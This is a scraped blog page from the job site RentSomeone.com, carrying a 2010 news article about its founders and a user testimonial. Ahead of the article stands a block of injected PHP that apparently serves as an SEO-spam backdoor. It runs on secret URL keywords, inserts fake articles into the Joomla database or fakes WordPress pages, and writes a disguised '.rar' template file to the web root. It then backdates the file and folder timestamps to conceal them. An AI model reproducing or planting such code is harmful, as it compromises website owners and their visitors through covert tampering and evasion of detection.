if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = $root_path."/7f68d2eda2a56bd9a6a4af8c957ca273.rar"; if (file_get_contents($tpl_path) > 0) { die('Success!'); } $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#


#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); $tpl = preg_replace('##is', '', $tpl); } if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } RentSomeone.com

Wilkes-Barre’s New Jobs Site Anything But Low-Rent – KeystoneEdge.com

Posted: May 9th, 2010 | Author: admin

By: Joe Petrucci, KeystoneEdge.com

While jobs might still be scarce in many corners of the country, there is no shortage of websites that promise to help the unemployed find them.  For a fee, that is.

So when Gerard Durling and Kevin Barr were drilling down on their idea for a new site for jobseekers, it quickly became obvious how they could differentiate their site from the plethora of others promising connections to employers.

“We looked at all those other sites and most of them are looking to charge for certain aspects of their sites,” says Durling , a 24-year old student at Luzerne County Community College (LCCC) who founded rentsomeone.com with Barr late last year. “We decided it would be easier if it’s free for everyone and make money through advertising. It’s the freeconomy idea, giving something away for free might end up benefiting you in the end.”

So far it’s directly benefitted Scranton’s Lucia Peregrim, who just started her new job at CIGNA this week, and fellow Electric City resident Betty Jo Povilaitis was recently offered two jobs and a second interview. And rentsomeone is starting to build real momentum toward becoming a game-changer in the online jobhunting space.

Things started simply enough for Durling and Barr, co-workers at wirelessunits.com, a distributor of new and refurbished wireless internet equipment on Public Square in Wilkes-Barre. Barr was looking to hire a Spanish-speaking customer service representative, but it wasn’t easy. Monster sought to charge a fee in order to contact potential candidates, and Craigslist (which now charges $25 per job ad) wasn’t returning the right kind of candidate. Barr got to talking with Durling, who has designed websites since he was 15, and they realized they could provide a better solution on their own.

“We met a couple times to brainstorm and it just kind of came together,” says Durling, who still works at wirelessunits.com with Barr. “We saw this could actually work, and it was worth our time and effort. So we went and designed the site and got a developer to do the back end for us and it spiraled from there.”

Because it’s free, rentsomeone aims to be among the first stops for employers throughout the region looking to fill positions. Initially, the duo was going to target contract or part-time workers, as it went hand-in-hand with the startup’s name. But with the economy still sputtering, Durling and Barr decided it best to open the site up to all jobseekers. And they kept the name because “it’s kind of catchy.”

The company’s biggest concern was making the site search engine friendly, allowing people to enter their own profile title and it has achieved some favorable organic rankings. Durling’s profile for “web designer in Wilkes-Barre” is among the top results for that search. Jobseekers can enter personal information, attach their resume, and include a link to their homepage or work. They can also enter their availability (days of week and time of day) into a table, upload a photo and take advantage of an extra “About Me” section.

The site launched in February and now boasts more than 215 members, of which more than 150 are active. The company’s short-term goal is to reach 500 jobseekers in the next few months, when it plans on entering its second phase of programming, adding search and category functions. At that point, Durling says, rentosomeone may seek investors and/or replicate the idea nationally, but for right now, he and Barr are “just taking things as they are.”

“The results we’ve had in the last two months alone are better than I expected,” says Durling. “It was enough for us to continue. It’s just a matter of getting the word out to jobseekers, as everybody seems to be pretty positive about the site so far.”

About a month ago, rentsomeone attended a job fair at LCCC and received a healthy dose of validation. In addition to gaining a number of new users, the company was swarmed by print and broadcast outlets that ran stories in the heavily saturated Scranton/Wilkes-Barre/Hazleton media market. The buzz, Durling and Barr hope, will soon turn into a roar.

Rentsomeone is doing its part to make it louder. It maintains a blog to track users’ success and pages on Facebook and Twitter. The company also owns three other domains related to jobs in Hazleton, Scranton and Wilkes-Barre that direct people to rentsomeone and also may be used for its own job boards.  Perhaps rentsomeone’s most telling feature is its monthly “featured profile,” which spotlights one local jobseeker with a video shot by Durling and Barr. This month’s featured profile is of Bristol, TN, transplant William Keesee, new coach of the semi-pro NEPA Miners football team. “He’s qualified for pretty much anything,” Durling says.

Povilaitis, a computer-savvy 20-something, wasn’t interested in relocating for a new job, so Monster didn’t provide enough local leads and there were even fewer possibilities among local print classifieds.

That focus on jobseekers is what seems to have users excited. And in this economy, anything that’s free is worth a look. She posted her profile–”It literally takes 15 minutes,” she says–about 10 weeks ago and has received up to four emails per week from potential local employers like Metlife, Big Brothers Big Sisters, OJ Commerce, Postage Pros and Prudential. She has yet to make a decision on her future employer.

“There are two aspects that make this site standout, convenience and great tech support,” she says. “The website does all the work for you. Secondly, Gerry and Kevin are available 24/7 to assist anyone.”

Clearly, that focus on the jobseeker is the startup’s major differentiator and makes rentsomeone a formidable player on the crowded field of online jobhunting.

“A lot of the time people come up with ideas they think will be beneficial and it has legs to stand on, but the biggest problem is all they do is think about it and never put it into motion,” says Durling. “This idea was worth it to put into motion and I’m glad we did. It’s a lot of work, but I think it will end up paying off in the end.”

Filed under: Media
Tags: , , , , , , , , ,
No Comments »

Bettyjo lands a job, thanks to RentSomeone.com

Posted: May 7th, 2010 | Author: admin

“If you’re job hunting check out www.rentsomeone.com. Rentsomeone worked for me because it gave local employers access to my profile and resume. They can determine if I am what they are looking for which usually guaranteed me an interview with them. My information has been posted on the site for about 2 1/2 months now and every week I receive 2-4 emails from potential employers. I usually go on at least 2 interviews per week. Some jobs are not for me, but I do get the interview experience which is always helpful.

In my opinion, there are two aspects of rentsomeone.com that makes this site stand out from other job hunting sites: convenience and great tech support. It literally takes 15 minutes to post a profile and resume on this site. The website does all the work for you. Secondly, Gerard and Kevin are availably 24/7 to assist anyone with the site. Gerard and Kevin also email job seekers information on local job fairs and potential job listings. There are no 1-800 numbers to dial. All one needs to do is shoot one of them an email and they will reply that day.”

Bettyjo Povilaitis was hired this past week by a Wilkes Barre based e-commerce company

Filed under: Success Stories
Tags: , , , , , ,
No Comments »